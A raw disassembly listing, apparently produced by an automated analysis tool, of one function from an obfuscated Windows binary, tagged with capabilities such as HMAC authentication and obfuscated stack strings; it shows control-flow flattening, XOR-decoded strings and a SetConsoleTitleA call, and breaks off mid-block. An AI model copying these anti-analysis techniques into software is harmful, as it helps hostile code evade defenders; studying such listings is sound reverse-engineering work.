Function at 0x140085516
Capabilities:
Authenticate hmac
Contain obfuscated stackstrings
Parse pe header
Set console window title

Disassembly:
push rax
pushf
mov eax, 0xca33e3d4
pushf
not eax
add eax, 0xd7364db4
xor eax, 0xc956fc5a
rol eax, 0
popf
pushf
not eax
add eax, 0xa74d51a7
xor eax, 0xb9896fc3
rol eax, 0x5d
popf
pushf
not eax
add eax, 0xb8996cfb
xor eax, 0x8463d545
rol eax, 0x11
popf
pushf
not eax
add eax, 0x87994730
xor eax, 0xb921749e
rol eax, 0xfe
popf
cmp eax, 0x29
jne 0x140085579
popf
pop rax
jmp 0x14008787f
cmp eax, 0
jne 0x140085588
popf
pop rax
jmp 0x140085876
cmp eax, 3
jne 0x140085597
popf
pop rax
jmp 0x140085a7d
cmp eax, 1
jne 0x1400855a6
popf
pop rax
jmp 0x1400859af
cmp eax, 0xd
jne 0x1400855b5
popf
pop rax
jmp 0x14008641e
cmp eax, 0x1a
jne 0x1400855c4
popf
pop rax
jmp 0x140086aa8
cmp eax, 0xe
jne 0x1400855d3
popf
pop rax
jmp 0x1400864a3
cmp eax, 0x31
jne 0x1400855e2
popf
pop rax
jmp 0x140088b8f
cmp eax, 0x19
jne 0x1400855f1
popf
pop rax
jmp 0x140086a13
cmp eax, 8
jne 0x140085600
popf
pop rax
jmp 0x140086071
cmp eax, 0x2a
jne 0x14008560f
popf
pop rax
jmp 0x1400878cc
cmp eax, 0x17
jne 0x14008561e
popf
pop rax
jmp 0x140086814
cmp eax, 0x1c
jne 0x14008562d
popf
pop rax
jmp 0x140086d0a
cmp eax, 0x2e
jne 0x14008563c
popf
pop rax
jmp 0x140088763
cmp eax, 0x18
jne 0x14008564b
popf
pop rax
jmp 0x140086870
cmp eax, 0x2b
jne 0x14008565a
popf
pop rax
jmp 0x140087b0c
cmp eax, 0x1b
jne 0x140085669
popf
pop rax
jmp 0x140086bf2
cmp eax, 0x2d
jne 0x140085678
popf
pop rax
jmp 0x1400886f5
cmp eax, 0x23
jne 0x140085687
popf
pop rax
jmp 0x140087232
cmp eax, 0x25
jne 0x140085696
popf
pop rax
jmp 0x14008736f
cmp eax, 0x32
jne 0x1400856a5
popf
pop rax
jmp 0x140088eb0
cmp eax, 0x13
jne 0x1400856b4
popf
pop rax
jmp 0x140086709
cmp eax, 0x33
jne 0x1400856c3
popf
pop rax
jmp 0x14008921d
cmp eax, 0x24
jne 0x1400856d2
popf
pop rax
jmp 0x1400872dc
cmp eax, 0x1e
jne 0x1400856e1
popf
pop rax
jmp 0x140086e23
cmp eax, 0xc
jne 0x1400856f0
popf
pop rax
jmp 0x1400863db
cmp eax, 0x26
jne 0x1400856ff
popf
pop rax
jmp 0x140087443
cmp eax, 0x27
jne 0x14008570e
popf
pop rax
jmp 0x1400874f7
cmp eax, 0x30
jne 0x14008571d
popf
pop rax
jmp 0x1400888a4
cmp eax, 0x10
jne 0x14008572c
popf
pop rax
jmp 0x1400865eb
cmp eax, 0x2c
jne 0x14008573b
popf
pop rax
jmp 0x14008866a
cmp eax, 9
jne 0x14008574a
popf
pop rax
jmp 0x140086107
cmp eax, 4
jne 0x140085759
popf
pop rax
jmp 0x140085b33
cmp eax, 0x16
jne 0x140085768
popf
pop rax
jmp 0x1400867d7
cmp eax, 0x28
jne 0x140085777
popf
pop rax
jmp 0x1400875a6
cmp eax, 0xa
jne 0x140085786
popf
pop rax
jmp 0x1400862f5
cmp eax, 0x22
jne 0x140085795
popf
pop rax
jmp 0x14008708b
cmp eax, 0x14
jne 0x1400857a4
popf
pop rax
jmp 0x140086773
cmp eax, 7
jne 0x1400857b3
popf
pop rax
jmp 0x140085d7b
cmp eax, 5
jne 0x1400857c2
popf
pop rax
jmp 0x140085b94
cmp eax, 2
jne 0x1400857d1
popf
pop rax
jmp 0x140085a2e
cmp eax, 0x20
jne 0x1400857e0
popf
pop rax
jmp 0x140086f27
cmp eax, 0x1d
jne 0x1400857ef
popf
pop rax
jmp 0x140086d9f
cmp eax, 0x11
jne 0x1400857fe
popf
pop rax
jmp 0x14008665a
cmp eax, 6
jne 0x14008580d
popf
pop rax
jmp 0x140085cde
cmp eax, 0x2f
jne 0x14008581c
popf
pop rax
jmp 0x1400887f0
cmp eax, 0x12
jne 0x14008582b
popf
pop rax
jmp 0x140086693
cmp eax, 0x21
jne 0x14008583a
popf
pop rax
jmp 0x140086fc4
cmp eax, 0x1f
jne 0x140085849
popf
pop rax
jmp 0x140086e6c
cmp eax, 0xb
jne 0x140085858
popf
pop rax
jmp 0x14008632e
cmp eax, 0xf
jne 0x140085867
popf
pop rax
jmp 0x140086539
cmp eax, 0x15
jne 0x140085876
popf
pop rax
jmp 0x1400867d2
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rsp - 0x1d0]
sub rsp, 0x2d0
mov rax, qword [0x14004b090]
xor rax, rsp
mov qword [rbp + 0x1c0], rax
xor edi, edi
xor ecx, ecx
call fcn.14008ede7
mov rcx, rax
call fcn.14006406d
mov rbx, qword [0x14004e158]
lea ecx, [rdi + 8]
call fcn.140066f5b
mov qword [rax], rbx
mov qword [rbp - 0x20], rax
lea rcx, [rsp + 0x48]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], edi
mov r9, rax
lea r8, [0x1a9c3b2e6]
pushf
sub r8, 0x69c2d186
popf
xor edx, edx
xor ecx, ecx
call fcn.1400ba4da
mov qword [rsp + 0x40], rax
test rax, rax
je 0x140085969
push rax
pushf
mov eax, 0xfc10c679
pushf
not eax
add eax, 0xd14974d4
xor eax, 0xb638b9d8
rol eax, 0x3b
popf
pushf
not eax
add eax, 0xd27674a6
xor eax, 0xaf469988
rol eax, 0xff
popf
pushf
not eax
add eax, 0xabc4a21f
xor eax, 0x87e40949
rol eax, 0x9e
popf
pushf
not eax
add eax, 0xc20381ff
xor eax, 0xd8ec7897
rol eax, 0xdf
popf
jmp 0x14008556a
push rax
pushf
mov eax, 0x3d051189
pushf
not eax
add eax, 0xf97bc5c2
xor eax, 0xecaabfbd
rol eax, 0x1c
popf
pushf
not eax
add eax, 0xc3aad025
xor eax, 0xe5d00e7a
rol eax, 0xcb
popf
pushf
not eax
add eax, 0xc091b83c
xor eax, 0xd88903f8
rol eax, 0x61
popf
jmp 0x14008556a
cmp dword [rsp + 0x48], edi
jne 0x1400859e8
push rax
pushf
mov eax, 0xdff4e5f6
pushf
not eax
add eax, 0x8027b25b
xor eax, 0xd9cb3370
rol eax, 0x83
popf
pushf
not eax
add eax, 0xc05287d8
xor eax, 0xf0829f34
rol eax, 0x55
popf
jmp 0x14008556a
push rax
pushf
mov eax, 0x3d70668b
pushf
not eax
add eax, 0xa5b0d892
xor eax, 0xa2c4fdb2
rol eax, 0x5d
popf
pushf
not eax
add eax, 0x99c270c2
xor eax, 0xc3aea41f
rol eax, 0x3b
popf
pushf
not eax
add eax, 0x817cc8ad
xor eax, 0xdb5dcad6
rol eax, 0x57
popf
jmp 0x14008556a
lea ecx, [rdi + 1]
call fcn.14000f1b8
int3
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rbp - 0x20], xmm0
lea rcx, [rbp - 0x20]
call fcn.140124dc3
test eax, eax
je 0x140085aed
push rax
pushf
mov eax, 0xeb12b9a5
pushf
not eax
add eax, 0xe8104fa8
xor eax, 0xebaf130d
rol eax, 0x18
popf
pushf
not eax
add eax, 0xac8b9c7a
xor eax, 0x872a2974
rol eax, 0xe2
popf
pushf
not eax
add eax, 0xaed8d23a
xor eax, 0x87538c3a
rol eax, 0x28
popf
pushf
not eax
add eax, 0xfcec9965
xor eax, 0xf01095a0
rol eax, 0xc1
popf
jmp 0x14008556a
push rax
pushf
mov eax, 0xe3131cc
pushf
not eax
add eax, 0xe72fb00c
xor eax, 0xcccaae60
rol eax, 0x1f
popf
pushf
not eax
add eax, 0xea3bd8d4
xor eax, 0xf02b4ff2
rol eax, 0x44
popf
pushf
not eax
add eax, 0xf1dc30a8
xor eax, 0xf1382f3e
rol eax, 0xd6
popf
jmp 0x14008556a
mov ecx, eax
call fcn.1401b4afa
int3
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmm1, xmmword [0x140044e10]
movdqu xmmword [rsp + 0x60], xmm1
movdqa xmm2, xmmword [str.._g4___5]
movdqu xmmword [rsp + 0x70], xmm2
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x61], al
xor byte [rsp + 0x62], cl
xor byte [rsp + 0x63], cl
xor byte [rsp + 0x64], cl
xor byte [rsp + 0x65], cl
xor byte [rsp + 0x66], cl
xor byte [rsp + 0x67], cl
xor byte [rsp + 0x68], cl
xor byte [rsp + 0x69], cl
xor byte [rsp + 0x6a], cl
xor byte [rsp + 0x6b], cl
xor byte [rsp + 0x6c], cl
xor byte [rsp + 0x6d], cl
xor byte [rsp + 0x6e], cl
xor byte [rsp + 0x6f], cl
movd eax, xmm2
xor al, cl
mov byte [rsp + 0x70], al
xor byte [rsp + 0x71], cl
xor byte [rsp + 0x72], cl
xor byte [rsp + 0x73], cl
xor byte [rsp + 0x74], cl
xor byte [rsp + 0x75], cl
xor byte [rsp + 0x76], cl
xor byte [rsp + 0x77], cl
xor byte [rsp + 0x78], cl
xor byte [rsp + 0x79], cl
xor byte [rsp + 0x7a], cl
xor byte [rsp + 0x7b], cl
xor byte [rsp + 0x7c], cl
xor byte [rsp + 0x7d], cl
xor byte [rsp + 0x7e], cl
mov byte [rsp + 0x7f], 0
lea rcx, [rsp + 0x61]
jmp 0x140085c55
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
movdqa xmm0, xmmword [0x140044e80]
movdqu xmmword [rbp - 0x10], xmm0
movdqa xmm1, xmmword [0x140044dd0]
movdqu xmmword [rbp], xmm1
movdqa xmm0, xmmword [0x140044e90]
movdqu xmmword [rbp + 0x10], xmm0
mov dword [rbp + 0x20], 0x6b787c6b
mov word [rbp + 0x24], 0x7d7c
xor eax, eax
mov byte [rbp + 0x26], al
mov rcx, rdi
nop
push rax
pushf
mov eax, 0x69953ad1
pushf
not eax
add eax, 0xb6fd36dd
xor eax, 0xcd842a1c
rol eax, 0xbb
popf
pushf
not eax
add eax, 0xe18bcee3
xor eax, 0x8f76f05d
rol eax, 0x26
popf
pushf
not eax
add eax, 0xa4e17b4c
xor eax, 0xe8515361
rol eax, 0x17
popf
jmp 0x14008556a
movzx eax, byte [rbp - 0x10]
xor byte [rbp + rcx - 0xf], al
inc rcx
cmp rcx, 0x35
jb 0x140085d35
push rax
pushf
mov eax, 0x37734f48
pushf
not eax
add eax, 0xe69668f1
xor eax, 0xbdd54bd6
rol eax, 0x13
popf
pushf
not eax
add eax, 0xc2a55bb1
xor eax, 0x9e96988b
rol eax, 0x65
popf
pushf
not eax
add eax, 0xea0c48a3
xor eax, 0xe5c0da6c
rol eax, 0xb9
popf
jmp 0x14008556a
push rax
pushf
mov eax, 0x69151416
pushf
not eax
add eax, 0x875ed3d0
xor eax, 0xf78f7b11
rol eax, 0x31
popf
pushf
not eax
add eax, 0xe7461fee
xor eax, 0xe2b82dbf
rol eax, 0x51
popf
pushf
not eax
add eax, 0x90d7abf0
xor eax, 0xad182d57
rol eax, 0x44
popf
jmp 0x14008556a
mov byte [rbp + 0x26], 0
lea rdx, [rbp - 0xf]
lea rcx, [0x1ba2e6472]
pushf
sub rcx, 0x7a299e92
popf
call fcn.1400b76ee
mov rcx, rax
call fcn.1400e2b9a
xorps xmm0, xmm0
movups xmmword [rbp + 0x48], xmm0
mov qword [rbp + 0x58], rdi
mov qword [rbp + 0x60], recv
mov byte [rbp + 0x48], 0
movdqa xmm1, xmmword [0x140044cd0]
movdqu xmmword [rsp + 0x40], xmm1
mov dl, 0xc8
pushf
not dl
add dl, 0xdc
xor dl, 0xee
rol dl, 0xaa
popf
pushf
not dl
add dl, 0x4d
xor dl, 0x50
rol dl, 0x79
popf
pushf
not dl
add dl, 0xee
xor dl, 0x4d
rol dl, 0xc2
popf
pushf
not dl
add dl, 0x6e
xor dl, 0xbf
rol dl, 0xf2
popf
mov r8b, 7
pushf
not r8b
add r8b, 0x1b
xor r8b, 0xed
rol r8b, 0xec
popf
pushf
not r8b
add r8b, 0x4e
xor r8b, 0xf1
rol r8b, 0xe0
popf
pushf
not r8b
add r8b, 5
xor r8b, 0x73
rol r8b, 0x46
popf
pushf
not r8b
add r8b, 0xa8
xor r8b, 0x2f
rol r8b, 0x8d
popf
mov r9b, 0xb7
pushf
not r9b
add r9b, 0x67
xor r9b, 0xce
rol r9b, 0x5d
popf
pushf
not r9b
add r9b, 0xa
xor r9b, 0x4a
rol r9b, 0x44
popf
mov r10b, 0xce
pushf
not r10b
add r10b, 0x14
xor r10b, 0x27
rol r10b, 0x1b
popf
pushf
not r10b
add r10b, 0x46
xor r10b, 0xda
rol r10b, 0x37
popf
pushf
not r10b
add r10b, 0x98
xor r10b, 0x40
rol r10b, 0xa0
popf
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x41], al
xor byte [rsp + 0x42], cl
xor byte [rsp + 0x43], cl
xor byte [rsp + 0x44], cl
xor byte [rsp + 0x45], cl
xor byte [rsp + 0x46], cl
xor byte [rsp + 0x47], cl
xor byte [rsp + 0x48], cl
xor byte [rsp + 0x49], cl
xor byte [rsp + 0x4a], cl
xor byte [rsp + 0x4b], cl
xor byte [rsp + 0x4c], cl
xor byte [rsp + 0x4d], cl
xor byte [rsp + 0x4e], cl
xor byte [rsp + 0x4f], cl
xor dl, cl
mov byte [rsp + 0x50], dl
xor r8b, cl
mov byte [rsp + 0x51], r8b
xor r9b, cl
mov byte [rsp + 0x52], r9b
xor r10b, cl
mov byte [rsp + 0x53], r10b
mov byte [rsp + 0x54], 0
lea rdx, [rsp + 0x41]
lea rcx, [0x1867b9ef8]
pushf
sub rcx, 0x4676d918
popf
call fcn.1400b76ee
lea rdx, [rbp + 0x48]
call fcn.1400e7ddf
mov byte [rsp + 0x30], 0x1a
mov al, 0x4e
pushf
not al
add al, 0x45
xor al, 0x32
rol al, 0xe8
popf
pushf
not al
add al, 0xa6
xor al, 0x51
rol al, 0x79
popf
pushf
not al
add al, 0xe8
xor al, 0xd0
rol al, 0x5f
popf
mov cl, 0xb3
pushf
not cl
add cl, 0xc5
xor cl, 0xf
rol cl, 0x2e
popf
pushf
not cl
add cl, 0x3c
xor cl, 0xdc
rol cl, 0x6f
popf
mov dl, 0x85
pushf
not dl
add dl, 0x30
xor dl, 0x5b
rol dl, 0x2a
popf
pushf
not dl
add dl, 0xc3
xor dl, 0xc3
rol dl, 0xb2
popf
pushf
not dl
add dl, 0xec
xor dl, 0x6b
rol dl, 0x53
popf
pushf
not dl
add dl, 0x97
xor dl, 0x56
rol dl, 0x23
popf
xor r8d, r8d
xor al, 0x1a
mov byte [rsp + 0x31], al
xor cl, 0x1a
mov byte [rsp + 0x32], cl
xor dl, 0x1a
mov byte [rsp + 0x33], dl
mov byte [rsp + 0x34], r8b
xorps xmm0, xmm0
movups xmmword [rbp + 0x28], xmm0
mov qword [rbp + 0x38], rdi
mov qword [rbp + 0x40], rdi
lea rax, [rsp + 0x31]
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop
push rax
pushf
mov eax, 0x662f4827
pushf
not eax
add eax, 0xab56cf17
xor eax, 0xf721982a
rol eax, 0xe5
popf
pushf
not eax
add eax, 0xbf59a37b
xor eax, 0xd0a4e91b
rol eax, 0x22
popf
pushf
not eax
add eax, 0x8bce4a73
xor eax, 0xe5528531
rol eax, 0xcb
popf
pushf
not eax
add eax, 0x91a44f80
xor eax, 0xb7a665cd
rol eax, 0x35
popf
jmp 0x14008556a
inc r8
cmp byte [rax + r8], 0
jne 0x1400860d4
push rax
pushf
mov eax, 0xc8e514e6
pushf
not eax
add eax, 0xfd8dd474
xor eax, 0xbe0bf1b5
rol eax, 0xb5
popf
pushf
not eax
add eax, 0x990f7178
xor eax, 0xa5d0e9bb
rol eax, 0xc4
popf
pushf
not eax
add eax, 0xcd95a5fb
xor eax, 0xb3734650
rol eax, 0x80
popf
pushf
not eax
add eax, 0xd71629ed
xor eax, 0x9d4105f9
rol eax, 0xd8
popf
jmp 0x14008556a
push rax
pushf
mov eax, 0x1c9c5beb
pushf
not eax
add eax, 0xa8319650
xor eax, 0xee56d3ac
rol eax, 0x3d
popf
pushf
not eax
add eax, 0xa94d802a
xor eax, 0x9c9702f0
rol eax, 0xd2
popf
jmp 0x14008556a
lea rdx, [rsp + 0x31]
lea rcx, [rbp + 0x28]
call fcn.140115c09
nop
lea rax, [rbp + 0x28]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x48]
mov qword [rsp + 0x48], rax
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x60]
call fcn.14005c9df
mov r8, rax
mov edx, 0x965afffe
pushf
not edx
add edx, 0xaba3b181
xor edx, 0x8389f68f
rol edx, 0xd5
popf
pushf
not edx
add edx, 0x823c9b7a
xor edx, 0xae9e981c
rol edx, 0xc7
popf
pushf
not edx
add edx, 0xabf1bf00
xor edx, 0xb5a997ed
rol edx, 0xa0
popf
pushf
not edx
add edx, 0xb1b02e7c
xor edx, 0x9bc29ef6
rol edx, 0xdc
popf
call fcn.14006b009
nop
lea r9, [0x18e8972f4]
pushf
sub r9, 0x4e892c44
popf
mov edx, 0xf0976936
pushf
not edx
add edx, 0xda204191
xor edx, 0xcda19e1e
rol edx, 0x13
popf
pushf
not edx
add edx, 0x91a88407
xor edx, 0xd54a4d51
rol edx, 0xae
popf
pushf
not edx
add edx, 0xdd08f6bf
xor edx, 0x9105940b
rol edx, 0xb2
popf
lea r8d, [rdx - 0x1f]
lea rcx, [rbp + 0x28]
call fcn.140165031
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], rdi
mov qword [rbp - 0x68], rdi
lea r15, [rbp + 0x48]
cmp qword [rbp + 0x60], 0x10
cmovae r15, qword [rbp + 0x48]
movabs rsi, 0xfffffeb5bc936978
pushf
not rsi
add rsi, 0x4ea38711
xor rsi, 0x62e72d98
rol rsi, 0xf7
popf
pushf
not rsi
add rsi, 0x4321c2ad
xor rsi, 0x6256b8fb
rol rsi, 0x3b
popf
mov r14, qword [rbp + 0x58]
cmp r14, rsi
jbe 0x1400862c2
push rax
pushf
mov eax, 0x77f8581b
pushf
not eax
add eax, 0xd077ac39
xor eax, 0x86dab1d6
rol eax, 0x8f
popf
pushf
not eax
add eax, 0xfd046a9e
xor eax, 0xc565b73f
rol eax, 0x4d
popf
pushf
not eax
add eax, 0xe189461c
xor eax, 0x83964030
rol eax, 9
popf
pushf
not eax
add eax, 0xa1c757b0
xor eax, 0xc7bf1de7
rol eax, 0xed
popf
jmp 0x14008556a
push rax
pushf
mov eax, 0xc9be1e36
pushf
not eax
add eax, 0xbc452e6d
xor eax, 0xe56f331f
rol eax, 0x6d
popf
pushf
not eax
add eax, 0x9721fad3
xor eax, 0x92bcd7f9
rol eax, 0xbe
popf
jmp 0x14008556a
call fcn.140130172
int3
mov qword [rbp - 0x68], recv
cmp r14, 0x10
jae 0x140086395
push rax
pushf
mov eax, 0xec0898f7
pushf
not eax
add eax, 0xeacd361b
xor eax, 0xe89ddc50
rol eax, 0xf2
popf
pushf
not eax
add eax, 0x811dd38b
xor eax, 0xbbe8c1a1
rol eax, 0xfa
popf
pushf
not eax
add eax, 0x8370e640
xor eax, 0xa674978d
rol eax, 0x8d
popf
pushf
not eax
add eax, 0xc0b93a33
xor eax, 0xf39d9f6f
rol eax, 0xc5
popf
jmp 0x14008556a
push rax
pushf
mov eax, 0xa09f0915
pushf
not eax
add eax, 0xafb67484
xor eax, 0xa56b0e62
rol eax, 0x9b
popf
pushf
not eax
add eax, 0x8d6b575b
xor eax, 0xe355f5bc
rol eax, 0x92
popf
pushf
not eax
add eax, 0xd2c1b46f
xor eax, 0xccb28764
rol eax, 0x6e
popf
jmp 0x14008556a
mov qword [rbp - 0x70], r14
movups xmm0, xmmword [r15]
movaps xmmword [rbp - 0x80], xmm0
jmp 0x14008688c
mov rax, r14
or rax, 0xf
cmp rax, rsi
ja 0x14008645d
push rax
pushf
mov eax, 0xf09c396e
pushf
not eax
add eax, 0xe2641445
xor eax, 0xc92c2af8
rol eax, 0xd4
popf
pushf
not eax
add eax, 0xe03ae87e
xor eax, 0xdd575a3e
rol eax, 0x3a
popf
jmp 0x14008556a
push rax
pushf
mov eax, 0x61e4b80b
pushf
not eax
add eax, 0xb05ed140
xor eax, 0xd9242f75
rol eax, 0x1b
popf
pushf
not eax
add eax, 0xa59f8147
xor eax, 0xaef0b3b8
rol eax, 0x3f
popf
pushf
not eax
add eax, 0xb8c9a00a
xor eax, 0x9e7f81f3
rol eax, 0xca
popf
jmp 0x14008556a
mov rsi, rax
mov ecx, 0x8e7fbb07
pushf
not ecx
add ecx, 0x820adf22
xor ecx, 0xcd06227e
rol ecx, 0x56
popf
pushf
not ecx
add ecx, 0xd65444d3
xor ecx, 0xbd392683
rol ecx, 0x35
popf
pushf
not ecx
add ecx, 0x8b19d5c8
xor ecx, 0xf91457c9
rol ecx, 0x1b
popf
pushf
not ecx
add ecx, 0xc6df3d9a
xor ecx, 0xd1d0510b
rol ecx, 0x4a
popf
cmp rax, rcx
cmovb rsi, rcx
push rax
pushf
mov eax, 0xebe68ac3
pushf
not eax
add eax, 0xabfdc59f
xor eax, 0x8f392a18
rol eax, 0x11
popf
pushf
not eax
add eax, 0xf8ed7817
xor eax, 0xd766de3a
rol eax, 0xb9
popf
jmp 0x14008556a
mov rcx, rsi
add rcx, 1
cmovb rcx, rbx
cmp rcx, 0x1000
jb 0x1400865a5
push rax
pushf
mov eax, 0x4ddd7db1
pushf
not eax
add eax, 0xc9525629
xor eax, 0x9343d8dc
rol eax, 1
popf
pushf
not eax
add eax, 0xfb987bec
xor eax, 0x9b5976d6
rol eax, 0x47
popf
pushf
not eax
add eax, 0xa67f35e4
xor eax, 0x9961199d
rol eax, 0x19
popf
pushf
not eax
add eax, 0xb5877ba4
xor eax, 0x879c4389
rol eax, 0xd9
popf
jmp 0x14008556a
push rax
pushf
mov eax, 0x15cbc77a
pushf
not eax
add eax, 0xbc0078be
xor eax, 0xeff9b749
rol eax, 0x99
popf
pushf
not eax
add eax, 0xaaac6bce
xor eax, 0xa4340e3c
rol eax, 0x5e
popf
pushf
not eax
add eax, 0xe0b66bdf
xor eax, 0x942b317f
rol eax, 0xdb
popf
jmp 0x14008556a
lea rax, [rcx + 0x27]
cmp rax, rcx
ja 0x140086627
push rax
pushf
mov eax, 0xdc79499d
pushf
not eax
add eax, 0xb03fe38d
xor eax, 0xd0eafed9
rol eax, 0x58
popf
pushf
not eax
add eax, 0xf9aa17f9
xor eax, 0xe3a6eb93
rol eax, 0x23
popf
jmp 0x14008556a
push rax
pushf
mov eax, 0x457f9e16
pushf
not eax
add eax, 0x964ed4ab
xor eax, 0xa2eea790
rol eax, 0xb6
popf
pushf
not eax
add eax, 0xa2444705
xor eax, 0xf107bea0
rol eax, 5
popf
jmp 0x14008556a
call fcn.14007486d
int3
mov rcx, rax
call fcn.140066f5b
mov rcx, rax
test rax, rax
je 0x1400866d6
push rax
pushf
mov eax, 0xfba1430c
pushf
not eax
add eax, 0xd960a643
xor eax, 0x9d239880
rol eax, 0xa0
popf
pushf
not eax
add eax, 0xd0ab201a
xor eax, 0x901d2463
rol eax, 0xf0
popf
jmp 0x14008556a
push rax
pushf
mov eax, 0xc4a077ea
pushf
not eax
add eax, 0xf22802c4
xor eax, 0xb23c02fb
rol eax, 0xf7
popf
pushf
not eax
add eax, 0xdc82f0a6
xor eax, 0xcb3312eb
rol eax, 0x61
popf
jmp 0x14008556a
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140086870
call fcn.1400b766f
int3
test rcx, rcx
je 0x140086814
call fcn.140066f5b
jmp 0x140086870
mov rax, rdi
push rax
pushf
mov eax, 0xe09b28dc
pushf
not eax
add eax, 0xe3de1b4b
xor eax, 0x9f24a6ec
rol eax, 0xd1
popf
pushf
not eax
add eax, 0xda32befa
xor eax, 0x82481ed6
rol eax, 0x80
popf
pushf
not eax
add eax, 0xa11d01a2
xor eax, 0xb75ee01b
rol eax, 0xef
popf
pushf
not eax
add eax, 0xbc0e9aa2
xor eax, 0xfbafed2d
rol eax, 0xa9
popf
jmp 0x14008556a
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x70], r14
mov qword [rbp - 0x68], rsi
lea r8, [r14 + 1]
mov rdx, r15
mov rcx, rax
call fcn.140011a20
nop
mov byte [rbp - 0x20], 0x34
mov al, 0x88
pushf
not al
add al, 6
xor al, 0x3c
rol al, 0x3b
popf
pushf
not al
add al, 0xf9
xor al, 0x90
rol al, 0xfb
popf
pushf
not al
add al, 0x95
xor al, 0xf4
rol al, 0xd8
popf
mov cl, 0x7c
pushf
not cl
add cl, 0xb0
xor cl, 0xc2
rol cl, 0x35
popf
pushf
not cl
add cl, 0x8f
xor cl, 0xaa
rol cl, 0x7a
popf
pushf
not cl
add cl, 0xaa
xor cl, 0xfb
rol cl, 0x73
popf
pushf
not cl
add cl, 0xde
xor cl, 0xb9
rol cl, 0x5b
popf
mov dl, 0x76
pushf
not dl
add dl, 0x89
xor dl, 0xfe
rol dl, 0xbf
popf
pushf
not dl
add dl, 0x3b
xor dl, 0x27
rol dl, 0x89
popf
pushf
not dl
add dl, 0xfa
xor dl, 0x19
rol dl, 0x83
popf
mov r8b, 0x29
pushf
not r8b
add r8b, 0x6a
xor r8b, 0xe4
rol r8b, 0x2d
popf
pushf
not r8b
add r8b, 0xd2
xor r8b, 0xe8
rol r8b, 0x3c
popf
mov r9b, 0xde
pushf
not r9b
add r9b, 0xc9
xor r9b, 0x70
rol r9b, 0x41
popf
pushf
not r9b
add r9b, 0xa4
xor r9b, 0x43
rol r9b, 0xa9
popf
xor r10d, r10d
xor al, 0x34
mov byte [rbp - 0x1f], al
xor cl, 0x34
mov byte [rbp - 0x1e], cl
xor dl, 0x34
mov byte [rbp - 0x1d], dl
xor r8b, 0x34
mov byte [rbp - 0x1c], r8b
xor r9b, 0x34
mov byte [rbp - 0x1b], r9b
mov byte [rbp - 0x1a], r10b
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], rdi
mov qword [rbp - 0x48], rdi
lea rax, [rbp - 0x1f]
mov r8, rbx
nop dword [rax]
push rax
pushf
mov eax, 0x97982e65
pushf
not eax
add eax, 0xc779c943
xor eax, 0xb17d3c67
rol eax, 0xd8
popf
pushf
not eax
add eax, 0xd741f7d6
xor eax, 0xa080f6df
rol eax, 0xf7
popf
pushf
not eax
add eax, 0x9bf7f664
xor eax, 0x972aae9f
rol eax, 0x6b
popf
pushf
not eax
add eax, 0xae4f3389
xor eax, 0x93fea1ef
rol eax, 0x21
popf
jmp 0x14008556a
inc r8
cmp byte [rax + r8], r10b
jne 0x140086a62
push rax
pushf
mov eax, 0x8b3ba19
pushf
not eax
add eax, 0xba500a85
xor eax, 0xbd9482b7
rol eax, 0x9d
popf
pushf
not eax
add eax, 0xec649887
xor eax, 0xb25c2065
rol eax, 0xf8
popf
pushf
not eax
add eax, 0xe645b8f2
xor eax, 0x91ecf993
rol eax, 0x8a
popf
jmp 0x14008556a
push rax
pushf
mov eax, 0x8ade6fc5
pushf
not eax
add eax, 0x93890a28
xor eax, 0xacc0fb1f
rol eax, 0xf7
popf
pushf
not eax
add eax, 0xb68123da
xor eax, 0xba578feb
rol eax, 0x75
popf
pushf
not eax
add eax, 0xf79ef575
xor eax, 0xab553648
rol eax, 0x46
popf
jmp 0x14008556a
lea rdx, [rbp - 0x1f]
lea rcx, [rbp - 0x60]
call fcn.140115c09
nop
mov rdx, qword [0x14004e140]
add rdx, 0x60
lea rcx, [rbp - 0x40]
call fcn.14011d130
nop
lea rax, [rbp - 0x80]
mov qword [rsp + 0x40], rax
lea rax, [rbp - 0x20]
mov qword [rsp + 0x48], rax
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x60]
call fcn.14005c9df
mov r8, rax
xor edx, edx
call fcn.14006b009
nop
lea r9, [0x18ddc05c6]
pushf
sub r9, 0x4ddbbf16
popf
mov edx, 0xf89e44b4
pushf
not edx
add edx, 0x8365fbb4
xor edx, 0xaf19e525
rol edx, 0x4e
popf
pushf
not edx
add edx, 0x8720e84b
xor edx, 0xf8c01fde
rol edx, 0x2d
popf
pushf
not edx
add edx, 0xe0dff6b6
xor edx, 0xbb1a1be8
rol edx, 0xdf
popf
pushf
not edx
add edx, 0x9d854895
xor edx, 0x8bb3213d
rol edx, 0xa5
popf
lea r8d, [rdx - 0x1d]
lea rcx, [rbp - 0x80]
call fcn.140165031
mov r10, qword [0x14004e140]
cmp byte [r10 + 0x34], 0
je 0x140086bbf
push rax
pushf
mov eax, 0x2beab4ed
pushf
not eax
add eax, 0xdba10700
xor eax, 0xf3bace7e
rol eax, 8
popf
pushf
not eax
add eax, 0xdb4c8d4b
xor eax, 0xcf0020ee
rol eax, 0x6c
popf
jmp 0x14008556a
push rax
pushf
mov eax, 0x8352a0da
pushf
not eax
add eax, 0xa953899d
xor eax, 0xcf1d4138
rol eax, 0x15
popf
pushf
not eax
add eax, 0xc68ce281
xor eax, 0x872fbf5b
rol eax, 0x1d
